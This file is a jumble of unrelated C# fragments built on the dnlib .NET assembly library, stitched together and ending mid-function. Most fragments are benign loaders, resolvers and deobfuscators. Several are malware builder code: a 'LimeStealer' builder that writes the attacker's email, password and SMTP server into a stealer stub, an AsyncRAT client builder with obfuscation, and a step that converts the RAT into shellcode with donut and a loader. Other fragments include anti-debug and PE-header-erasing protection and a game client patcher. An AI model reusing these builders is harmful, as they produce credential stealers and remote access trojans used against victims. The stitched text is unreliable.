public async Task <bool> LoadTargetModule(string targetModulePath) { if (!File.Exists(targetModulePath)) { await _logger.Log("Could not locate target module", LogLevel.Error); return(await Task.FromResult(false)); } if (_targetModule != null) { _targetModule.Dispose(); } _targetModule = ModuleDefMD.Load(targetModulePath); if (_targetModule == null) { await _logger.Log("Could not load target module", LogLevel.Error); return(await Task.FromResult(false)); } _targetModulePath = _targetModule.Location; return(await Task.FromResult(true)); }
public void Dispose() { _modules.Clear(); _unityEngine.Dispose(); _assemblyCSharpFirstpass.Dispose(); _assemblyCSharp.Dispose(); _assemblyCSharp.Dispose(); }
internal void Save(bool backup) { string tempFile = $"{_file}.tmp"; string backupFile = $"{_file}.bak"; if (Module.IsILOnly) { if (_keepOldMaxStack) { Module.Write(tempFile, new ModuleWriterOptions(Module) { MetadataOptions = { Flags = MetadataFlags.KeepOldMaxStack } }); } else { Module.Write(tempFile); } } else { if (_keepOldMaxStack) { Module.NativeWrite(tempFile, new NativeModuleWriterOptions(Module, false) { MetadataOptions = { Flags = MetadataFlags.KeepOldMaxStack } }); } else { Module.NativeWrite(tempFile); } } Module?.Dispose(); if (backup) { if (!File.Exists(backupFile)) { File.Move(_file, backupFile); } else { Logger.Info($"Backup file already exists -> {backupFile}"); } } File.Delete(_file); File.Move(tempFile, _file); }
/// <summary> /// Finds an assembly that exactly matches the requested assembly /// </summary> /// <param name="assembly">Assembly name to find</param> /// <param name="paths">Search paths or <c>null</c> if none</param> /// <param name="moduleContext">Module context</param> /// <returns>An <see cref="AssemblyDef"/> instance or <c>null</c> if an exact match /// couldn't be found.</returns> AssemblyDef FindExactAssembly(IAssembly assembly, IEnumerable <string> paths, ModuleContext moduleContext) { if (paths == null) { return(null); } var asmComparer = new AssemblyNameComparer(AssemblyNameComparerFlags.All); foreach (var path in paths.GetSafeEnumerable()) { ModuleDefMD mod = null; try { mod = ModuleDefMD.Load(path, moduleContext); var asm = mod.Assembly; if (asm != null && asmComparer.Equals(assembly, asm)) { mod = null; return(asm); } } catch { } finally { if (mod != null) { mod.Dispose(); } } } return(null); }
public void Dispose() { if (moduleProtect != null) { moduleProtect.Dispose(); } moduleProtect = null; }
public void Dispose() { if (obfModule != null) { obfModule.Dispose(); } obfModule = null; }
public void Dispose() { if (module != null) { module.Dispose(); module = null; } }
// Token: 0x06000003 RID: 3 RVA: 0x00002068 File Offset: 0x00000268 private void MetroButton1_Click(object sender, EventArgs e) { if (string.IsNullOrWhiteSpace(this.txtEmail.Text) || string.IsNullOrWhiteSpace(this.txtPass.Text) || string.IsNullOrWhiteSpace(this.txtSmtp.Text)) { return; } try { using (ModuleDefMD moduleDefMD = ModuleDefMD.Load("Stub.exe", null)) { using (SaveFileDialog saveFileDialog = new SaveFileDialog()) { saveFileDialog.Filter = ".exe (*.exe)|*.exe"; saveFileDialog.InitialDirectory = Application.StartupPath; saveFileDialog.OverwritePrompt = false; saveFileDialog.FileName = "STEALER-CLIENT"; if (saveFileDialog.ShowDialog() == DialogResult.OK) { foreach (TypeDef typeDef in moduleDefMD.Types) { foreach (MethodDef methodDef in typeDef.Methods) { if (methodDef.Body != null) { for (int i = 0; i < methodDef.Body.Instructions.Count <Instruction>(); i++) { if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) { if (methodDef.Body.Instructions[i].Operand.ToString() == "%EMAIL%") { methodDef.Body.Instructions[i].Operand = this.txtEmail.Text; } if (methodDef.Body.Instructions[i].Operand.ToString() == "%PASS%") { methodDef.Body.Instructions[i].Operand = this.txtPass.Text; } if (methodDef.Body.Instructions[i].Operand.ToString() == "%SMTP%") { methodDef.Body.Instructions[i].Operand = this.txtSmtp.Text; } } } } } } moduleDefMD.Write(saveFileDialog.FileName); moduleDefMD.Dispose(); MessageBox.Show("Done!", "LimeStealer", MessageBoxButtons.OK, MessageBoxIcon.Asterisk); } } } } catch (Exception ex) { MessageBox.Show(ex.Message, "LimeStealer", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } }
public void Dispose() { DeobfuscateCleanUp(); if (module != null) { module.Dispose(); } if (deob != null) { deob.Dispose(); } module = null; deob = null; }
public static bool CheckACShrpPatched(string filePath) { WriteToLog("Attemting to load Assembly-CSharp.dll"); bool patched = false; using (ModuleDefMD module = ModuleDefMD.Load(filePath)) { WriteToLog("Attempting to get types"); foreach (TypeDef type in module.Types) { if (type.Name.Contains("SplashScreen")) { WriteToLog("Successfully found SplashScreen class, getting Awake method"); foreach (MethodDef method in type.Methods) { if (method.Name.Contains("Awake")) { WriteToLog("Successfully found Awake method"); foreach (Instruction instruction in method.Body.Instructions) { if (instruction.Operand != null) { if (instruction.Operand.ToString() == "System.Void ZeroG.Init::Load()") { WriteToLog("Assembly-CSharp.dll is already patched"); patched = true; goto EndCheckPatch; } } } } } } } EndCheckPatch :; module.Dispose(); } if (patched) { File.SetAttributes(filePath, System.IO.FileAttributes.Normal); return(true); } WriteToLog("Assembly-CSharp.dll is not patched"); File.SetAttributes(filePath, System.IO.FileAttributes.Normal); return(false); //ModuleDefMD module = ModuleDefMD.Load(filePath); }
public void Save(bool backup) { module.Write(file + ".tmp"); module.Dispose(); if (backup) { if (File.Exists(file + ".bak")) { File.Delete(file + ".bak"); } File.Move(file, file + ".bak"); } else { File.Delete(file); } File.Move(file + ".tmp", file); }
private AssemblyDef FindClosestAssembly(IAssembly assembly, AssemblyDef closest, IEnumerable <string> paths, ModuleContext moduleContext) { if (paths == null) { return(closest); } var asmComparer = AssemblyNameComparer.CompareAll; foreach (var path in paths.GetSafeEnumerable()) { ModuleDefMD mod = null; try { mod = ModuleDefMD.Load(path, moduleContext); var asm = mod.Assembly; if (asm != null && asmComparer.CompareClosest(assembly, closest, asm) == 1) { if (!IsCached(closest) && closest != null) { var closeMod = closest.ManifestModule; if (closeMod != null) { closeMod.Dispose(); } } closest = asm; mod = null; } } catch { } finally { if (mod != null) { mod.Dispose(); } } } return(closest); }
void LoadModule(IEnumerable <IDeobfuscator> deobfuscators) { ModuleDefMD oldModule = module; try { module = assemblyModule.Load(); } catch (BadImageFormatException) { if (!UnpackNativeImage(deobfuscators)) { throw new BadImageFormatException(); } Logger.v("Unpacked native file"); } finally { if (oldModule != null) { oldModule.Dispose(); } } }
/// <summary> /// Finds an assembly that exactly matches the requested assembly /// </summary> /// <param name="assembly">Assembly to find</param> /// <param name="paths">Search paths or <c>null</c> if none</param> /// <param name="moduleContext">Module context</param> /// <returns>An <see cref="AssemblyDef"/> instance or <c>null</c> if an exact match /// couldn't be found.</returns> AssemblyDef FindExactAssembly(IAssembly assembly, IEnumerable <string> paths, ModuleContext moduleContext) { if (paths == null) { return(null); } var asmComparer = AssemblyNameComparer.CompareAll; foreach (var path in paths.GetSafeEnumerable()) { ModuleDefMD mod = null; try { mod = ModuleDefMD.Load(path, moduleContext); var asm = mod.Assembly; if (!asm.HasPublicKey && asm.Name == "mscorlib") { asm.PublicKey = new PublicKey(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); } if (asm != null && asmComparer.Equals(assembly, asm)) { mod = null; return(asm); } } catch { } finally { if (mod != null) { mod.Dispose(); } } } return(null); }
private static void Main(string[] args) { Console.Title = "Agile String Decryptor by wwh1004 | Version : 6.x"; try { // Load the assembly _module = Assembly.LoadFile(Path.GetFullPath(args[0])).ManifestModule; } catch { Console.WriteLine("Drag n Drop !"); Console.ReadLine(); } _moduleDefMd = ModuleDefMD.Load(args[0], new ModuleCreationOptions { TryToLoadPdbFromDisk = false }); AgileDynamicStringDecryption(); SaveAs(Path.Combine( Path.GetDirectoryName(args[0]) ?? throw new InvalidOperationException("Failed to save this module !"), Path.GetFileNameWithoutExtension(args[0]) + "-StrDec" + Path.GetExtension(args[0]))); _moduleDefMd.Dispose(); Console.WriteLine("[?] Decrypted : {0} strings", _amount); Console.WriteLine("[+] Done !"); Console.ReadLine(); }
public static async Task <byte[]> Save(ModuleDefMD targetModule, bool writeToFile) { var targetLocation = targetModule.Location; using (var ms = new MemoryStream()) { targetModule.Write(ms); targetModule.Dispose(); ms.Seek(0, SeekOrigin.Begin); var data = ms.ToArray(); if (writeToFile) { using (var fs = new FileStream(targetLocation, FileMode.Create)) { await fs.WriteAsync(data, 0, data.Length); fs.Flush(); } } return(data); } }
AssemblyDef FindClosestAssembly(AssemblyNameInfo assembly, AssemblyDef closest, IEnumerable <string> paths, ModuleContext moduleContext) { if (paths == null) { return(closest); } var asmComparer = new AssemblyNameComparer(AssemblyNameComparerFlags.All); foreach (var path in paths) { ModuleDefMD mod = null; try { mod = ModuleDefMD.Load(path, moduleContext); var asm = mod.Assembly; if (asm != null && asmComparer.CompareClosest(assembly, new AssemblyNameInfo(closest), new AssemblyNameInfo(asm)) == 1) { if (!IsCached(closest) && closest != null && closest.ManifestModule != null) { closest.ManifestModule.Dispose(); } closest = asm; mod = null; } } catch { } finally { if (mod != null) { mod.Dispose(); } } } return(closest); }
private async void BtnBuild_Click(object sender, EventArgs e) { if (!chkPastebin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) { return; } if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) { return; } if (!textFilename.Text.EndsWith("exe")) { textFilename.Text += ".exe"; } } if (string.IsNullOrWhiteSpace(txtMutex.Text)) { txtMutex.Text = getRandomCharacters(); } if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) { return; } ModuleDefMD asmDef = null; try { using (asmDef = ModuleDefMD.Load(@"Stub/Stub.exe")) using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { btnBuild.Enabled = false; WriteSettings(asmDef); if (chkObfu.Checked) { //EncryptString.DoEncrypt(asmDef); await Task.Run(() => { Renaming.DoRenaming(asmDef); }); } asmDef.Write(saveFileDialog1.FileName); asmDef.Dispose(); if (btnAssembly.Checked) { WriteAssembly(saveFileDialog1.FileName); } if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) { IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); } MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); SaveSettings(); this.Close(); } } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); asmDef?.Dispose(); btnBuild.Enabled = true; } }
static void Main(string[] args) { try { if (args.Length < 1) { Console.WriteLine("Drag a DLL to this EXE"); return; } var path = args[0]; var pathfix = Path.Combine(Path.GetDirectoryName(path), "Fixed"); Directory.CreateDirectory(pathfix); var fileName = Path.GetFileName(path); pathfix = Path.Combine(pathfix, fileName); File.Delete(pathfix); RType.rnamespace = fileName.Substring(0, fileName.IndexOf('.')) + ".ByteCodes"; ModuleDefMD module = ModuleDefMD.Load(path); Console.WriteLine(module.Assembly); AssemblyResolver asmResolver = new AssemblyResolver(); ModuleContext modCtx = new ModuleContext(asmResolver); asmResolver.DefaultModuleContext = modCtx; asmResolver.EnableTypeDefCache = true; module.Context = modCtx; module.Context.AssemblyResolver.AddToCache(module); RInstructions rinstructions = new RInstructions(module); new RField().Apply(module); new RProperty().Apply(module); new RMethod().Apply(module); new RType().Apply(module); rinstructions.Apply(); module.Write(pathfix); module.Dispose(); var f = File.OpenRead(pathfix); MemoryStream ms = new MemoryStream(); f.CopyTo(ms); f.Dispose(); ms.Position = 0; ModuleDefinition cmodule = ModuleDefinition.ReadModule(ms); File.Delete(pathfix); using (var tf = File.Create(pathfix)) { cmodule.Write(tf); } Helper.WriteLine(path + " -> " + pathfix); } finally { Console.ReadLine(); } }
public static List <ObjectModel> GetObjectModelFromDlls(string[] dllPaths, string namespaceFilter = null) { var objectModels = new List <ObjectModel>(); dllPaths.ToList().ForEach(dllPath => { ModuleContext modCtx = ModuleDef.CreateModuleContext(); ModuleDefMD module = ModuleDefMD.Load(dllPath, modCtx); var allTypes = module.Types; IEnumerable <TypeDef> dtoTypes; if (!string.IsNullOrEmpty(namespaceFilter)) { dtoTypes = allTypes.Where(x => x.Namespace.String.ToLower().Contains("dto") && x.Namespace.String.ToLower().Contains(namespaceFilter)); } else { dtoTypes = allTypes.Where(x => x.Namespace.String.ToLower().Contains("dto")); } foreach (var dto in dtoTypes) { if (dto.IsEnum) { var newEnum = new EnumModel(dto.Name); var fields = dto.Fields.Skip(1); foreach (var field in fields) { var enumValue = new EnumValueModel(); enumValue.Index = (int)field.Constant.Value; enumValue.Name = field.Name; newEnum.Values.Add(enumValue); } objectModels.Add(newEnum); } else if (dto.IsClass) { var newClass = new ClassModel(dto.Name); if (dto.BaseType.ReflectionName != "Object") { newClass.ParentClass = dto.BaseType.ReflectionName; } var props = dto.Properties; foreach (var prop in props) { var classProp = new PropertyModel(); classProp.Name = prop.Name; var type = prop.Type as PropertySig; var retType = type.RetType; var typeModel = TranslateType(retType, classProp); classProp.Type = typeModel; newClass.Props.Add(classProp); } objectModels.Add(newClass); } } module.Dispose(); }); return(objectModels); }
private void btnShellcode_Click(object sender, EventArgs e) { if (!chkPaste_bin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) { return; } if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) { return; } if (!textFilename.Text.EndsWith("exe")) { textFilename.Text += ".exe"; } } if (string.IsNullOrWhiteSpace(txtMutex.Text)) { txtMutex.Text = getRandomCharacters(); } if (chkPaste_bin.Checked && string.IsNullOrWhiteSpace(txtPaste_bin.Text)) { return; } ModuleDefMD asmDef = null; try { using (asmDef = ModuleDefMD.Load(@"Stub/Client.exe")) { string Temppath = Path.Combine(Application.StartupPath, @"Stub\tempClient.exe"); if (File.Exists(Temppath)) { File.Delete(Temppath); } File.Copy(Path.Combine(Application.StartupPath, @"Stub\Client.exe"), Temppath); btnShellcode.Enabled = false; btnBuild.Enabled = false; WriteSettings(asmDef, Temppath); asmDef.Write(Temppath); asmDef.Dispose(); if (btnAssembly.Checked) { WriteAssembly(Temppath); } if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) { IconInjector.InjectIcon(Temppath, txtIcon.Text); } string savepath = ""; using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { saveFileDialog1.Filter = ".bin (*.bin)|*.bin"; saveFileDialog1.InitialDirectory = Application.StartupPath; saveFileDialog1.OverwritePrompt = false; saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { savepath = saveFileDialog1.FileName; } } string Donutpath = Path.Combine(Application.StartupPath, @"Plugins\donut.exe"); if (!File.Exists(Donutpath)) { File.WriteAllBytes(Donutpath, Properties.Resources.donut); } Process Process = new Process(); Process.StartInfo.FileName = Donutpath; Process.StartInfo.CreateNoWindow = true; Process.StartInfo.Arguments = "-f " + Temppath + " -o " + savepath; Process.Start(); Process.WaitForExit(); Process.Close(); if (File.Exists(savepath)) { File.WriteAllText(savepath + "loader.cs", Properties.Resources.ShellcodeLoader.Replace("%qwqdanchun%", Convert.ToBase64String(File.ReadAllBytes(savepath)))); File.WriteAllText(savepath + ".b64", Convert.ToBase64String(File.ReadAllBytes(savepath))); } File.Delete(Temppath); File.Delete(Donutpath); MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); SaveSettings(); this.Close(); } } catch (Exception ex) { MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); asmDef?.Dispose(); btnBuild.Enabled = true; } }
private void prepareReplace() { MetadataFlags AllFlags = MetadataFlags.PreserveAll | MetadataFlags.KeepOldMaxStack | MetadataFlags.AlwaysCreateGuidHeap | MetadataFlags.RoslynSortInterfaceImpl; try { bool isBlockGood = checkBlocks(); if (!isBlockGood) { return; } if (!module.IsILOnly) { writeStatus("Info: The Assembly maybe contains unmanaged code"); Thread.Sleep(2000); } writeStatus("Processing: " + moduleName); ReplaceInstructions(); string newName = string.Format("{0}_ILR{1}", Path.GetFileNameWithoutExtension(moduleName), Path.GetExtension(moduleName)); if (ReplacedBlocks > 0) { if (module.IsILOnly) { var ManagedOptions = new ModuleWriterOptions(module); if (PreserveAllFlags) { ManagedOptions.MetadataOptions.Flags = AllFlags; } module.Write(Path.GetDirectoryName(moduleName) + "\\" + newName, ManagedOptions); } else { var UnmanagedOptions = new NativeModuleWriterOptions(module, true); if (PreserveAllFlags) { UnmanagedOptions.MetadataOptions.Flags = AllFlags; } module.NativeWrite(newName, UnmanagedOptions); } if (ShowLogs) { writeStatus(string.Format( "Done: Saved as {0} || Replaced {1} Blocks Instructions in {2} Methods", newName, ReplacedBlocks, EditedMethodsCount)); showFormLog(logInfo); } } else { writeStatus("Info: No Block Instructions Replaced!"); } //MessageBox.Show("File Saved as:\r\n" + newName, "Replaces Done", // MessageBoxButtons.OK, MessageBoxIcon.Information); if (module != null) { module.Dispose(); } enableControl(true); isRunning = false; } catch (Exception ex) { if (module != null) { module.Dispose(); } isRunning = false; if (ex.Message.Contains("Error calculating max stack")) { writeStatus("Error calculating max stack value..., try Check \"Preserve All Metadata\""); } else { if (ex.Message.Length > 100) { showFormLog(ex.Message); } else { writeStatus("Error: " + ex.Message.Trim()); } } enableControl(true); } }
private bool checkBlocks() { bool isError = false; string logInfo = ""; var blocksToFind = new List <List <string> >(); var blocksToReplace = new List <List <string> >(); foreach (var block in Regex.Split(inputFindText, @"^={3,}", RegexOptions.Multiline)) { var instrs = block.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); blocksToFind.Add(instrs); } foreach (var block in Regex.Split(inputReplaceText, @"^={3,}", RegexOptions.Multiline)) { var instrs = block.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); blocksToReplace.Add(instrs); } if (blocksToFind.Count != blocksToReplace.Count) { MessageBox.Show( string.Format("Size of Blocks Find and Replace not Match\r\nBlocks Find: {0}\r\nBlocks Replace: {1}", blocksToFind.Count, blocksToReplace.Count), "Blocks Error!", MessageBoxButtons.OK, MessageBoxIcon.Error); isError = true; } if (!isError) { for (int i = 0; i < blocksToFind.Count; i++) { if (blocksToFind[i].Count != blocksToReplace[i].Count) { logInfo += string.Format( "Error, Block {0} has different size\r\nFind ({1}):\r\n{2}\r\n\r\nReplace ({3}):\r\n{4}\r\n{5}\r\n", i + 1, blocksToFind[i].Count, string.Join("\r\n", blocksToFind[i].ToArray()), blocksToReplace[i].Count, string.Join("\r\n", blocksToReplace[i].ToArray()), "================================================"); isError = true; } } } try { module = ModuleDefMD.Load(moduleName); } catch { writeStatus(string.Format("Error Loading \"{0}\" Maybe not .NET Executable", Path.GetFileName(moduleName))); isError = true; } if (!isError) { for (int i = 0; i < blocksToFind.Count; i++) { var block = blocksToFind[i]; var instructions = new List <Instruction>(); for (int j = 0; j < block.Count; j++) { var line = block[j]; OpCode opCode = null; Instruction instr = new Instruction(); string[] toInstr = line.Trim().Split(new char[] { ' ', '\t' }, 2); if (toInstr.Length > 0) { opCode = GetOpCodeFromString(toInstr[0]); } if (opCode != null) { instr.OpCode = opCode; if (toInstr.Length == 2) { instr.Operand = toInstr[1].Trim().Trim('"'); } instructions.Add(instr); } else { logInfo += string.Format( "\"{0}\" is not valid OpCode, Block Find {1} Line {2}\r\n{3}", toInstr[0], i + 1, j + 1, line); isError = true; } } BlocksFind.Add(instructions); } } if (!isError) { for (int i = 0; i < blocksToReplace.Count; i++) { var block = blocksToReplace[i]; var instructions = new List <Instruction>(); for (int j = 0; j < block.Count; j++) { var line = block[j]; OpCode opCode = null; Instruction instr = new Instruction(); string[] toInstr = line.Trim().Split(new char[] { ' ', '\t' }, 2); if (toInstr[0].Trim() == "=") { instr.Operand = "="; instructions.Add(instr); continue; } opCode = GetOpCodeFromString(toInstr[0]); if (opCode != null) { instr.OpCode = opCode; if (toInstr.Length == 2) { if (opCode == OpCodes.Call) { string mdtoken = toInstr[1].Trim().ToUpper(); if (mdtoken == "" || !Regex.IsMatch(mdtoken, @"^(0[Xx])?[A-F0-9]{8}$")) { isError = true; } else { uint rid = uint.Parse(mdtoken.ToUpper().Replace("0X", ""), System.Globalization.NumberStyles.HexNumber); var isMethod = module.ResolveToken(rid); if (isMethod == null) { isError = true; } instr.Operand = rid; } if (isError) { logInfo += string.Format( "\"{0}\" is invalid Operand/MDToken for \"Call\", Block Replace {1} Line {2}\r\n{3}\r\n{4}\r\n", mdtoken, i + 1, j + 1, "The value Should be Hex or MDToken like 06000001 or 0x06000001", line); } } else { instr.Operand = toInstr[1].Trim().Trim('"'); } } instructions.Add(instr); } else { logInfo += string.Format( "\"{0}\" is not valid OpCode, Block Replace {1} Line {2}\r\n{3}", toInstr[0], i + 1, j + 1, line); isError = true; } } BlocksReplace.Add(instructions); } } if (isError) { if (logInfo != "") { showFormLog(logInfo); } enableControl(true); isRunning = false; if (module != null) { module.Dispose(); } return(false); } return(true); }
internal async Task <bool> ConfuseAssembly(string targetPath, ModuleDefMD targetModule) { if (string.IsNullOrWhiteSpace(targetPath)) { throw new ArgumentNullException(nameof(targetPath)); } if (targetModule == null) { throw new ArgumentNullException(nameof(targetModule)); } var targetFile = Path.GetFileName(targetPath); var targetDirectory = Path.GetDirectoryName(targetPath); var project = new ConfuserProject { BaseDirectory = targetDirectory, OutputDirectory = targetDirectory }; // Confuser plugins are merged into the main assembly at build time. Instruct the project to load them from the running executable. project.PluginPaths.Add(Assembly.GetExecutingAssembly().Location); byte[] rawData; using (var ms = new MemoryStream()) { targetModule.Write(ms); targetModule.Dispose(); ms.Seek(0, SeekOrigin.Begin); rawData = ms.ToArray(); } if (rawData == null || rawData.Count() == 0) { return(false); } ProjectModule projectModule = new ProjectModule { Path = targetFile, RawData = rawData }; projectModule.Rules.Add(new Rule { new SettingItem <Protection>("watermark", SettingItemAction.Remove), new SettingItem <Protection>("anti debug"), new SettingItem <Protection>("anti ildasm"), new SettingItem <Protection>("ctrl flow"), new SettingItem <Protection>("ref proxy"), new SettingItem <Protection>("harden"), }); project.Add(projectModule); var parameters = new ConfuserParameters { Project = project, Logger = this }; await ConfuserEngine.Run(parameters); return(_successfullyProtected); }
private async void protectBtn_Click(object sender, EventArgs e) { foreach (var mod in Globals._ActivePlugins) { mod.Protection.LogWriter = new pShieldPluginBase.Log(); mod.Protection.LogWriter.WriterCallBack = UpdateList; Globals._Module = mod.Protection.Manipulate(Globals._Module); } var opts = new ModuleWriterOptions(Globals._Module); opts.Logger = DummyLogger.NoThrowInstance; Globals._Module.Write(Globals._Output, opts); await Task.Delay(1000); richTextBox1.AppendText($"Successfully saved - ", Color.Green, true); richTextBox1.AppendText($"{Globals._Output}{Environment.NewLine}", Color.Black, false); if (memLoadCheckBox.Checked) { ModuleDefMD loadFile = ModuleDefMD.Load(Globals._Output); var tempLoader = InlineProtections.MemoryLoader.Create(loadFile); richTextBox1.AppendText($"Generating loader{Environment.NewLine}", Color.Purple, true); foreach (var mod in Globals._ActivePlugins) { if (mod.Name == "ProcessShield" || mod.Name == "Integer Encryption") { continue; } tempLoader = mod.Protection.Manipulate(tempLoader); } loadFile.Dispose(); richTextBox1.AppendText($"Deleting old assembly{Environment.NewLine}", Color.Purple, true); File.Delete(Globals._Output); richTextBox1.AppendText($"[-]{Path.GetFileNameWithoutExtension(Globals._Output)}{Environment.NewLine}", Color.Black, true); Globals._Output = Globals._Output.Replace("_ps.exe", "_loader.exe"); tempLoader.Write(Globals._Output, opts); richTextBox1.AppendText($"Successfully saved - ", Color.Green, true); richTextBox1.AppendText($"{Globals._Output}{Environment.NewLine}", Color.Black, false); } if (nopCheckBox.Checked) { richTextBox1.AppendText($"Erasing dos information{Environment.NewLine}", Color.Purple, true); InlineProtections.ErasePEHeader.Run(); await Task.Delay(200); richTextBox1.AppendText($"Verifying...{Environment.NewLine}", Color.Black, true); if (InlineProtections.ErasePEHeader.Verify()) { await Task.Delay(200); richTextBox1.AppendText($"Successfully nopped{Environment.NewLine}", Color.Green, true); } else { await Task.Delay(200); richTextBox1.AppendText($"Error nopping dos information{Environment.NewLine}", Color.Red, true); } } }
public void Dispose() => module.Dispose();
public void UnloadTargetModule() { _targetModule?.Dispose(); }
public void Dispose() { _moduleDefMd.Dispose(); }
public void Dispose() { _symbolReader.Dispose(); _module.Dispose(); }
public static int Main(string[] args) { // Console.ReadKey(true); if (args.Length < 2) { return(Exit("osu!patch - osu! assembly patcher based on NameMapper\n" + "by exys, 2019 - 2020\n" + "modded by Aoba Suzukaze, 2020\n" + "\n" + "Usage:\n" + "osu!patch [clean module] [obfuscated module]")); } if (!File.Exists(_cleanOsuPath = Path.GetFullPath(args[0]))) { return(XConsole.PrintFatal("Specified clean module path does not exist!\n")); } if (!File.Exists(_obfOsuPath = Path.GetFullPath(args[1]))) { return(XConsole.PrintFatal("Specified obfuscated module path does not exist!\n")); } try { _obfOsuModule = ModuleDefMD.Load(_obfOsuPath); _cleanOsuModule = ModuleDefMD.Load(_cleanOsuPath); _obfOsuAssembly = Assembly.LoadFile(_obfOsuPath); } catch (Exception ex) { return(XConsole.PrintFatal("Unable to load one of the modules! Details:\n" + ex)); } ObfOsuHash = MD5Helper.Compute(_obfOsuPath); // ORIGINAL!!!!!!! hash, PLEASE PASS UNMODIFIED PEPPY-SIGNED ASSEMBLY AS _obfOsuModule!@!!32R1234 (refer to "Patch on update" patch) XConsole.PrintInfo($"Loaded assemblies: {_cleanOsuModule.Assembly.FullName} (clean); {_obfOsuModule.Assembly.FullName} (obfuscated)."); XConsole.PrintInfo("MD5 hash of obfuscated assembly: " + ObfOsuHash); try { LoadPlugins(); // Loading plugins } catch (Exception ex) { return(XConsole.PrintFatal("Something really bad happened while trying to process plugins! Details:\n" + ex)); } try { XConsole.PrintInfo("Cleaning control flow of obfuscated assembly"); CleanControlFlow(); } catch (Exception ex) { return(XConsole.PrintFatal("Unable to deobfuscate control flow of obfuscated assembly! Details:\n" + ex)); } try { XConsole.PrintInfo("Fixing strings in obfuscated assembly."); StringFixer.Fix(_obfOsuModule, _obfOsuAssembly); // Fixing strings } catch (Exception ex) { return(XConsole.PrintFatal("Unable to fix strings of obfuscated assembly! Details:\n" + ex)); } if (!Directory.Exists(CacheFolderLocation)) { XConsole.PrintInfo("Creating cache folder..."); Directory.CreateDirectory(CacheFolderLocation); } try { var nameProvider = InitializeNameProvider(); // Fixing names (SimpleNameProvider/MapperNameProvider) _obfOsuExplorer = new ModuleExplorer(_obfOsuModule, nameProvider); } catch (Exception ex) { return(XConsole.PrintFatal("Unable to get clean names for obfuscated assembly! Details:\n" + ex)); } #if DEBUG _obfOsuModule.Write(Path.Combine(Path.GetDirectoryName(_obfOsuPath), "OsuObfModule-cflow-string-nmapped.exe"), new ModuleWriterOptions(_obfOsuModule) { MetadataOptions = { Flags = DEFAULT_METADATA_FLAGS } }); #endif XConsole.PrintInfo("Done! Now patching."); bool overallSuccess = true; var failedDetails = new List <PatchResult>(); void ExecutePatchCli(Patch patch) { XConsole.PrintInfo($"{patch.Name}: ", false); if (File.Exists(ConfigFileLocation)) // incase if config file not initialized { patch.Enabled = GetConfigEnabled(patch.Name); } PatchResult res = patch.Execute(_obfOsuExplorer); switch (res.Result) { case PatchStatus.Disabled: Console.ForegroundColor = ConsoleColor.Gray; XConsole.WriteLine("DISABLED"); break; case PatchStatus.Exception: case PatchStatus.Failure: Console.ForegroundColor = ConsoleColor.Red; XConsole.WriteLine("FAIL"); failedDetails.Add(res); overallSuccess = false; break; case PatchStatus.Success: Console.ForegroundColor = ConsoleColor.Green; XConsole.WriteLine("DONE"); break; default: Console.ForegroundColor = ConsoleColor.DarkGray; XConsole.WriteLine("[???]"); break; } Console.ResetColor(); } // Executing local patches. foreach (var patch in LocalPatches.PatchList) { ExecutePatchCli(patch); } XConsole.PrintInfo("Done processing all local patches! Now processing patches from loaded add-ons..."); #if !CORE_PATCHES_ONLY // Executing all patches from all loaded plugins from all loaded assemblies (what a hierarchy) foreach (var plugin in _loadedPlugins) { XConsole.PrintInfo($"{plugin.AssemblyName}: Processing plugin: {plugin.TypeName}."); foreach (var patch in plugin.Type.GetPatches()) { ExecutePatchCli(patch); } XConsole.PrintInfo($"{plugin.AssemblyName}: Done processing: {plugin.TypeName}."); } #endif if (!File.Exists(ConfigFileLocation)) { XConsole.PrintInfo("Creating config file..."); var configLines = string.Empty; foreach (var patch in Patches) { configLines += patch.Name + " = " + "Enabled\n"; // probably bad implementation of config but simplest i can imagine } File.WriteAllText(ConfigFileLocation, configLines); XConsole.PrintInfo("Config file created!"); } XConsole.PrintInfo("Done processing all plugins."); if (failedDetails.Any()) { XConsole.PrintInfo("There's some details about failed patches."); foreach (var details in failedDetails) { details.PrintDetails(Console.Out); XConsole.WriteLine(); } } if (!overallSuccess) { XConsole.PrintInfo("There are some failed patches. Do you want to continue?"); XConsole.PrintWarn("In case of self-update pressing 'N' will leave stock version of osu! without patching it!"); XConsole.Write(XConsole.PAD + "Continue? (y/n) "); var exit = false; while (true) { var key = Console.ReadKey(true).Key; if (key == ConsoleKey.Y) { break; } if (key == ConsoleKey.N) { exit = true; break; } } XConsole.WriteLine(); if (exit) { return(Exit(XConsole.Info("Aborted by user."))); } } //string filename = Path.GetFileNameWithoutExtension(_obfOsuPath) + "-osupatch" + Path.GetExtension(_obfOsuPath); string filename = "ainu.exe"; 